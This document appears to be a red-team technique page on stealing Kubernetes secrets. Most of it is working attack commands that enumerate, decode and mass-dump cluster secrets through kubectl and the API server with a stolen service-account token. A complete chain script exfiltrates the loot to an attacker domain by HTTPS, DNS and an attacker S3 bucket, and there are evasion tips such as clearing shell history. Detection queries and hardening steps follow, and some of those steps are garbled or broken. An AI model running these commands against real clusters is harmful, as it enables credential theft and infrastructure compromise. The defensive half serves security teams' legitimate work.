| Attribute | Details |
|---|---|
| Technique ID | CONTAINER-002 |
| MITRE ATT&CK v18.1 | T1555.002 - Credentials from Password Stores: Securityd Memory |
| Tactic | Credential Access |
| Platforms | Entra ID (Kubernetes, AKS, container orchestration platforms) |
| Severity | Critical |
| CVE | N/A (General technique affecting multiple container platforms) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Kubernetes 1.0+, all versions with mounted secrets |
| Patched In | Kubernetes 1.29+ (with short-lived token support enabled) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Container Orchestration Secret Theft targets the credential storage mechanisms inherent to Kubernetes and similar orchestration platforms. Unlike traditional password store theft (DPAPI, Keychain), this technique exploits the declarative nature of container secrets, where credentials are stored in plaintext or weakly encrypted format in etcd backends, as environment variables in pod specifications, or mounted as volume files accessible from compromised containers. An attacker with pod execution access can enumerate, extract, and exfiltrate secrets containing database passwords, API keys, SSL certificates, and cloud credentials—bypassing traditional credential protection mechanisms. The technique leverages the trust relationship between pods and the Kubernetes API server, where service account tokens grant automatic API access to list and retrieve secrets.
Attack Surface: Kubernetes etcd database (default unencrypted or AES-CBC encrypted), Secret resources mounted as environment variables or volumes, ConfigMaps misused for credential storage, application configuration files within containers, and pipeline environment variables in DevOps platforms.
Business Impact: Cascading credential compromise leading to infrastructure-wide lateral movement and data exfiltration. Attackers obtaining database passwords can directly compromise production databases, access cloud storage, manipulate CI/CD pipelines, pivot to on-premises infrastructure via VPN credentials, and maintain persistent backdoor access through service principal credentials. The impact multiplies when secrets contain cross-tenant credentials (multi-cloud, hybrid infrastructure) or administrative tokens.
Technical Context: Extraction is near-instantaneous (milliseconds) once pod access is obtained. Secrets are stored in Base64 encoding (not cryptographic encryption) by default, making decoding trivial. Even with encryption enabled, misconfigured RBAC often grants pod service accounts permission to list and read secrets. Detection requires comprehensive API audit logging; many organizations run Kubernetes without audit logging enabled, making this technique nearly silent.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Kubernetes Benchmark | 5.1.2, 5.2.1 | RBAC enforcement for secrets access; encryption at rest |
| DISA STIG | V-242380 | Kubernetes must enforce RBAC for API access to secrets |
| CISA SCuBA | AC-3, SC-13 | Access enforcement; cryptographic protection of sensitive data |
| NIST 800-53 | AC-2, SC-7, SC-28 | Account management; information system boundary protection; information at rest encryption |
| GDPR | Articles 32, 33 | Security of processing; data breach notification requirements |
| DORA | Articles 6, 9 | Information and communication technology (ICT) security; incident reporting |
| NIS2 | Articles 19, 21 | Security requirements for critical infrastructure; risk management measures |
| ISO 27001 | A.10.2.1, A.13.1.3 | Secure development policy; data leakage prevention; information transfer agreements |
| ISO 27005 | Section 8.3.1 | Risk assessment for credential compromise scenarios |
Supported Versions:
Tools:
Command (Bash/Linux):
# Check if running inside pod
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
echo "[+] Running in Kubernetes pod"
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=$(cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt)
echo "[+] Service Account Namespace: $NAMESPACE"
echo "[+] Token Length: ${#TOKEN}"
fi
# Check if pod has API access
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CA \
"https://kubernetes.default.svc.cluster.local/api/v1/namespaces" 2>&1 | \
jq '.items[].metadata.name' 2>/dev/null | head -5
What to Look For:
Command:
# Check what the current service account can do
kubectl auth can-i get secrets --as=system:serviceaccount:$NAMESPACE:default
kubectl auth can-i list secrets --namespace=$NAMESPACE
kubectl auth can-i create pods
# Test if we can access secrets from other namespaces
kubectl get secrets --all-namespaces 2>&1 | head -5
What to Look For:
Supported Versions: Kubernetes 1.0 - 1.29+ (all versions)
Objective: Identify available secrets and determine their content types
Command:
# List all secrets in current namespace
kubectl get secrets -n $NAMESPACE -o wide
# List secrets with detailed information
kubectl get secrets -n $NAMESPACE -o json | jq '.items[] | {name: .metadata.name, type: .type, keys: .data | keys}'
# Example output parsing
for secret in $(kubectl get secrets -n $NAMESPACE -o jsonpath='{.items[*].metadata.name}'); do
echo "Secret: $secret"
kubectl get secret $secret -n $NAMESPACE -o jsonpath='{.data}' | jq 'keys'
done
Expected Output:
{
"name": "db-credentials",
"type": "Opaque",
"keys": ["database-password", "database-username"]
}
{
"name": "api-keys",
"type": "Opaque",
"keys": ["aws-access-key", "aws-secret-key"]
}
What This Means:
OpSec & Evasion:
Objective: Extract plaintext credentials from Base64-encoded secrets
Command:
# Get single secret value and decode
kubectl get secret db-credentials -n $NAMESPACE -o jsonpath='{.data.database-password}' | base64 -d
# Or decode directly in JSON
kubectl get secret db-credentials -n $NAMESPACE -o json | \
jq '.data | to_entries[] | {key: .key, value: (.value | @base64d)}'
# Mass decode all secrets in namespace
kubectl get secrets --all-namespaces -o json | \
jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | map_values(@base64d))}' > /tmp/all_secrets.json
Expected Output:
{
"namespace": "production",
"name": "db-credentials",
"data": {
"database_password": "SuperSecret123!",
"database_username": "admin"
}
}
What This Means:
OpSec & Evasion:
history -c to clear shell history after extractionObjective: Perform lateral movement by discovering cross-namespace credentials
Command:
# Check if default service account can access all namespaces
kubectl get secrets --all-namespaces 2>&1
# If successful, dump all secrets
kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type != "kubernetes.io/service-account-token")' > /tmp/all_secrets.json
# Parse and exfiltrate
cat /tmp/all_secrets.json | jq '.metadata.namespace, .metadata.name, .data | to_entries[] | {key: .key, value: (.value | @base64d)}' | grep -v "^null" > /tmp/extracted_creds.txt
# Extract only sensitive keys (passwords, keys, tokens)
jq '.data | to_entries[] | select(.key | contains("password") or contains("key") or contains("token")) | {namespace: .namespace, secret: .name, key: .key, value: (.value | @base64d)}' /tmp/all_secrets.json
Expected Output:
production/db-credentials: password=SuperSecret123!
production/api-keys: aws_secret_key=AKIAIOSFODNN7EXAMPLE
kube-system/coredns-token: token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkJWM1...
What This Means:
OpSec & Evasion:
Objective: Move credentials outside the cluster for safe storage and usage
Command:
# Exfiltrate via HTTPS to attacker-controlled server
curl -s -X POST "https://attacker-domain.com/callback" \
-H "Content-Type: application/json" \
-d "{\"secrets\": $(cat /tmp/extracted_creds.txt | jq -c .)}" \
--silent --output /dev/null
# Or encode in DNS query (if HTTPS is blocked)
for secret in $(cat /tmp/extracted_creds.txt | jq -r '.[]'); do
nslookup "$(echo $secret | base64)".attacker-domain.com
done
# Or upload to attacker-controlled S3 bucket (if pod has cloud credentials)
AWS_ACCESS_KEY_ID=$(jq -r '.aws_access_key' /tmp/extracted_creds.txt) \
AWS_SECRET_ACCESS_KEY=$(jq -r '.aws_secret_key' /tmp/extracted_creds.txt) \
aws s3 cp /tmp/extracted_creds.txt s3://attacker-bucket/data.json --region us-east-1
OpSec & Evasion:
/tmp/extracted_creds.txt after exfiltrationTroubleshooting:
Supported Versions: Kubernetes 1.10+
Objective: Establish authenticated API connection without kubectl
Command:
# Read service account credentials
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API_SERVER="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
# Test API access
curl -s -X GET "$API_SERVER/api/v1/namespaces" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.items[] | .metadata.name'
Expected Output:
default
kube-system
kube-public
production
What This Means:
Objective: Programmatic secret enumeration without kubectl
Command:
# List secrets in single namespace
curl -s -X GET "$API_SERVER/api/v1/namespaces/$NAMESPACE/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.items[] | {name: .metadata.name, type: .type}'
# List secrets in all namespaces
curl -s -X GET "$API_SERVER/api/v1/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
# Filter for sensitive secret types
curl -s -X GET "$API_SERVER/api/v1/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.items[] | select(.type | contains("docker") or contains("rsa") or contains("tls"))'
Expected Output:
{
"namespace": "production",
"name": "docker-registry-secret",
"type": "kubernetes.io/dockercfg"
}
{
"namespace": "kube-system",
"name": "tls-secret",
"type": "kubernetes.io/tls"
}
What This Means:
Objective: Retrieve and decode specific secret values
Command:
# Get single secret in JSON format
curl -s -X GET "$API_SERVER/api/v1/namespaces/production/secrets/db-credentials" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.data'
# Decode Base64 values in one command
curl -s -X GET "$API_SERVER/api/v1/namespaces/production/secrets/db-credentials" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.data | to_entries[] | {key: .key, value: (.value | @base64d)}'
# Extract specific field (e.g., password only)
curl -s -X GET "$API_SERVER/api/v1/namespaces/production/secrets/db-credentials" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq -r '.data.database_password | @base64d'
Expected Output:
SuperSecret123!
postgresql://admin:SuperSecret123!@db.internal:5432/prod_db
What This Means:
Objective: Bulk export of all secrets for offline analysis
Command:
# Create comprehensive secret dump
curl -s -X GET "$API_SERVER/api/v1/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.items[] | {
namespace: .metadata.namespace,
name: .metadata.name,
type: .type,
data: (.data | map_values(@base64d))
}' > /tmp/kubernetes_secrets_dump.json
# Or export to CSV for spreadsheet analysis
curl -s -X GET "$API_SERVER/api/v1/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq -r '.items[] | [.metadata.namespace, .metadata.name, .type, (.data | length)] | @csv' > /tmp/secrets.csv
# Count secrets by namespace
curl -s -X GET "$API_SERVER/api/v1/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert $CA | jq '.items | group_by(.metadata.namespace) | map({namespace: .[0].metadata.namespace, count: length})'
Expected Output (CSV):
namespace,name,type,key_count
production,db-credentials,Opaque,3
production,api-keys,Opaque,2
kube-system,coredns-token,kubernetes.io/service-account-token,3
What This Means:
Supported Versions: Kubernetes 1.0+
Objective: Identify ConfigMaps that contain credentials (anti-pattern)
Command:
# List all ConfigMaps
kubectl get configmaps --all-namespaces
# Search for ConfigMaps with suspicious names
kubectl get configmaps --all-namespaces -o json | jq '.items[] | select(.metadata.name | contains("secret") or contains("password") or contains("credential") or contains("key"))'
# Extract specific ConfigMap content
kubectl get configmap application-config -n production -o jsonpath='{.data}' | jq '.'
Expected Output:
{
"database_host": "db.internal",
"database_port": "5432",
"database_username": "admin",
"database_password": "SuperSecret123!",
"api_key": "sk-1234567890abcdef"
}
What This Means:
OpSec & Evasion:
Objective: Dump all application configurations
Command:
# Export all ConfigMaps in YAML format
kubectl get configmaps --all-namespaces -o yaml > /tmp/all_configmaps.yaml
# Extract only data sections
kubectl get configmaps --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: .data}'
# Search for patterns (passwords, keys, connection strings)
kubectl get configmaps --all-namespaces -o json | jq '.items[].data | select(. != null) | to_entries[] | select(.value | contains("password") or contains("://") or contains("key=") or contains("token="))'
Supported Versions: Kubernetes 1.0+
Objective: Extract token that grants API access
Command:
# Standard location for mounted service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Store for exfiltration
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Verify token format (should be JWT with three Base64 segments)
echo $TOKEN | tr '.' '\n' | head -1
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IkJWM1pQRWFhQ0k4eFc2QWVDMDlRRkJqTVRQMFpUZzBOVGRHTmpoVE16TkVRUT09In0.eyJpc3MiOiJodHRwczovL2t1YmVybmV0ZXMuZGVmYXVsdC5zdmMuY2x1c3Rlci5sb2NhbCIsImN1YiI6e...
What This Means:
Objective: Authenticate to cluster from attacker machine
Command (From Attacker’s Machine):
# Create kubeconfig file
cat > ~/.kube/config << 'EOF'
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: <base64-encoded-ca-cert>
server: https://<aks-cluster>.azmk8s.io:6443
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: service-account
name: service-account@kubernetes
current-context: service-account@kubernetes
kind: Config
preferences: {}
users:
- name: service-account
user:
token: <EXFILTRATED_TOKEN>
EOF
# Use token to access cluster
kubectl get secrets --all-namespaces
kubectl get pods -n production
What This Means:
Prerequisite: Pod execution access in Kubernetes cluster
Verification Command:
# Step 1: Check pod context
echo "=== Pod Environment ==="
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
env | grep KUBERNETES
# Step 2: Test API access
echo "=== API Access Test ==="
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
"https://kubernetes.default/api/v1/namespaces" | jq '.items | length'
# Step 3: List secrets (attack simulation)
echo "=== Secret Enumeration ==="
kubectl get secrets --all-namespaces | wc -l
# Step 4: Extract sample credential
echo "=== Sample Credential Extraction ==="
kubectl get secret -n kube-system -o json | jq '.items[0].data' | head -1
echo "=== Verification Complete ==="
Expected Output (If Vulnerable):
=== Pod Environment ===
default
KUBERNETES_SERVICE_HOST=10.0.0.1
KUBERNETES_SERVICE_PORT=443
=== API Access Test ===
5
=== Secret Enumeration ===
47
=== Sample Credential Extraction ===
{"ca.crt": "LS0tLS1CRUdJTi...", "namespace": "a3ViZS1zeXN0ZW0=", "token": "eyJhbGc..."}
=== Verification Complete ===
Version: 1.19+ Installation: See CONTAINER-001 section for full installation Usage for Secret Access:
# List secrets in current namespace
kubectl get secrets
# Decode specific secret
kubectl get secret <name> -o jsonpath='{.data}' | jq 'to_entries[] | {key: .key, value: (.value | @base64d)}'
# Export all secrets to file
kubectl get secrets --all-namespaces -o json > secrets_backup.json
Version: 1.6+ Minimum Version: 1.5 Supported Platforms: Linux, macOS, Windows
Installation:
# Linux (Debian/Ubuntu)
sudo apt-get install jq
# macOS
brew install jq
# Windows (PowerShell)
choco install jq
Usage for Secret Parsing:
# Decode all secrets in JSON
jq '.items[] | {name: .metadata.name, data: (.data | map_values(@base64d))}'
# Filter for specific secret type
jq '.items[] | select(.type == "Opaque")'
Installation & Version Info: See CONTAINER-001 section
Usage for API Secret Access:
# Direct API call to list secrets
curl -s -X GET "https://kubernetes.default/api/v1/secrets" \
-H "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | jq '.items'
#!/bin/bash
# CONTAINER-002 secret extraction and exfiltration chain
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
API="https://kubernetes.default/api/v1"
CA="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
# Extract all secrets
curl -s "$API/secrets" -H "Authorization: Bearer $TOKEN" --cacert $CA | \
jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | map_values(@base64d))}' | \
# Exfiltrate to attacker infrastructure
curl -X POST "https://attacker-domain.com/callback" -d @- --silent --output /dev/null
echo "[+] Secrets exfiltrated"
Rule Configuration:
KQL Query:
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.CONTAINERSERVICE"
and Category == "kube-audit"
and (properties.verb == "list" or properties.verb == "get")
and properties.objectRef.resource == "secrets"
| extend user = tostring(properties.user.username),
sourceIP = tostring(properties.sourceIPs[0]),
namespace = tostring(properties.objectRef.namespace)
| summarize SecretAccessCount = count(),
UniqueNamespaces = dcount(namespace),
UniqueResources = dcount(properties.objectRef.name)
by user, sourceIP, bin(TimeGenerated, 5m)
| where SecretAccessCount > 10 or UniqueNamespaces > 2
| project TimeGenerated, user, sourceIP, SecretAccessCount, UniqueNamespaces, UniqueResources
What This Detects:
Manual Configuration Steps (Azure Portal):
Kubernetes Secret Enumeration AttackHigh5 minutes15 minutesRule Configuration:
KQL Query:
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.CONTAINERSERVICE"
and Category == "kube-audit"
and properties.objectRef.resource == "secrets"
and properties.verb in ("get", "list")
and properties.requestStatus == "Success"
| extend user = tostring(properties.user.username),
secretName = tostring(properties.objectRef.name),
namespace = tostring(properties.objectRef.namespace)
| where secretName matches regex "(password|api|key|credential|token|secret)"
| summarize Attempts = count(),
UniqueSecrets = dcount(secretName)
by user, namespace, bin(TimeGenerated, 10m)
| where Attempts > 3 or UniqueSecrets > 2
| project TimeGenerated, user, namespace, Attempts, UniqueSecrets
Note: Direct Kubernetes secret access is not logged in Windows Event Viewer. However, if Azure Monitor Agent is deployed on nodes and collecting kubelet logs:
Manual Configuration Steps (Enable Pod Logs in AKS):
Note: Sysmon cannot directly detect Kubernetes secret access (API server logs are the primary source). However, can detect suspicious local behaviors:
Sysmon Configuration (XML):
<Sysmon schemaversion="4.80">
<EventFiltering>
<RuleGroup name="ContainerSecretTheft" groupRelation="or">
<!-- Monitor for base64 encoding/decoding in containers -->
<ProcessCreate onmatch="include">
<Image condition="contains">base64</Image>
<CommandLine condition="contains">-d</CommandLine>
</ProcessCreate>
<!-- Monitor for kubectl/curl API calls -->
<ProcessCreate onmatch="include">
<Image condition="contains">kubectl</Image>
<CommandLine condition="contains">secrets</CommandLine>
</ProcessCreate>
<!-- Monitor for credential file writes -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">/tmp/creds</TargetFilename>
<TargetFilename condition="contains">extracted</TargetFilename>
</FileCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
Alert Name: Suspicious Kubernetes Secret Access
Reference: Microsoft Defender for Cloud Documentation
Enable RBAC Restrictions on Secrets: Prevent default service accounts from accessing all secrets Applies To Versions: Kubernetes 1.19+
Manual Steps:
# Remove default service account from secret access
kubectl delete clusterrolebinding view --ignore-not-found
# Create restrictive role for default service account
kubectl apply -f - << 'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: restricted-secret-access
namespace: default
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list"]
# Note: No "secrets" in resources - secrets are NOT accessible
EOF
kubectl apply -f - << 'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: restricted-access
namespace: default
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: restricted-secret-access
subjects:
- kind: ServiceAccount
name: default
namespace: default
EOF
Validation Command:
kubectl auth can-i get secrets --as=system:serviceaccount:default:default
# Expected output: no
Encrypt Secrets at Rest in etcd: Prevent plaintext storage Applies To Versions: Kubernetes 1.12+
Manual Steps (AKS):
# Enable encryption at rest for AKS
az aks update --name myCluster --resource-group myRG \
--network-policy azure --enable-disk-encryption
Manual Steps (On-Premises Kubernetes):
/etc/kubernetes/encryption.yaml):
```yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
--encryption-provider-config=/etc/kubernetes/encryption.yamlUse Workload Identity Instead of Service Account Tokens: Azure-specific mitigation Applies To Versions: AKS with Workload Identity enabled
Manual Steps:
# Enable Workload Identity on AKS cluster
az aks update --name myCluster --resource-group myRG \
--enable-oidc-issuer --enable-workload-identity-oidc
# Create Azure managed identity
az identity create --name myIdentity --resource-group myRG
# Bind Kubernetes service account to Azure identity
az aks pod-identity binding create --resource-group myRG \
--cluster-name myCluster --namespace default \
--service-account-name myServiceAccount \
--identity-resource-id /subscriptions/.../resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myIdentity
kubectl apply -f - « ‘EOF’ apiVersion: policy/v1alpha1 kind: PodSecurityPolicy metadata: name: restricted spec: privileged: false allowPrivilegeEscalation: false requiredDropCapabilities:
# Enable audit logging in diagnostic settings
az monitor diagnostic-settings create \
--name AKS-audit \
--resource /subscriptions/{sub}/resourcegroups/{rg}/providers/Microsoft.ContainerService/managedClusters/{cluster} \
--logs '[{"category":"kube-audit","enabled":true}]' \
--workspace <log-analytics-workspace-id>
# Audit current permissions
kubectl describe serviceaccount default -n default
# Remove unnecessary roles
kubectl delete clusterrolebinding <role-name> --ignore-not-found
# Assign minimal roles only when needed
kubectl get endpoints kubernetes -o jsonpath='{.subsets[0].addresses[0].ip}' && \
echo " - verify API server uses HTTPS"
list secrets operations from single service account in short time spanget operations on secrets from non-application service accounts (e.g., default)Base64 decoding operations (if application logs are captured)
Unusual egress on ports 443, 8443 (API server communication)
/tmp/*cred*, /tmp/*secret*, /tmp/*token*~/.kube/config in compromised pod/var/tmp or /dev/shmAzureDiagnostics | where properties.verb in ("list", "get") and properties.objectRef.resource == "secrets"Fields: user, timestamp, source IP, secret names, namespace
kubectl logs is used)/var/log/containers/)# Find pods that accessed secrets
kubectl logs <pod-name> | grep -i "secret\|credential"
# Check pod environment variables
kubectl exec <pod-name> -- env | grep -i "secret\|pass"
Manual (Azure Portal):
AzureDiagnostics | where properties.sourceIPs contains "<pod-ip>"# Delete compromised pod
kubectl delete pod <pod-name> -n <namespace>
# Prevent pod recreation by scaling deployment to 0
kubectl scale deployment <deployment-name> --replicas=0 -n <namespace>
Implement Network Policy:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-egress-suspicious-pod
namespace: production
spec:
podSelector:
matchLabels:
app: compromised-app
policyTypes:
- Egress
egress: [] # Deny all egress
# Export audit logs for forensics
az monitor log-analytics query \
--workspace <workspace-id> \
--analytics-query "AzureDiagnostics | where TimeGenerated > ago(7d)" \
--output json > forensics_audit.json
# Capture pod logs before deletion
kubectl logs <pod-name> -n <namespace> > pod_logs_backup.log
# Export pod description and events
kubectl describe pod <pod-name> -n <namespace> > pod_description.txt
# Rotate all secrets that may have been compromised
kubectl delete secret <secret-name> -n <namespace>
# Update deployment with new secret references
kubectl apply -f updated-deployment.yaml
# Force restart all pods in affected deployment
kubectl rollout restart deployment/<deployment-name> -n <namespace>
# Verify new pods are using updated secrets
kubectl get pods -n <namespace> -o wide
Long-Term Remediation:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Attacker gains code execution in pod/container |
| 2 | Privilege Escalation | [PE-EXPLOIT-004] Container Escape to Host | Attacker escalates from container to host |
| 3 | Credential Access | [CONTAINER-001] Kubernetes API Server Compromise | Attacker obtains bootstrap tokens for API access |
| 4 | Credential Access | [CONTAINER-002] Container Orchestration Secret Theft | Attacker extracts all cluster secrets and credentials |
| 5 | Lateral Movement | [LM-AUTH-030] AKS Service Account Token Theft | Attacker exfiltrates tokens for remote access |
| 6 | Persistence | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Attacker deploys persistent backdoor pod |
| 7 | Impact | Data exfiltration, infrastructure compromise, ransomware | Complete cluster takeover and business disruption |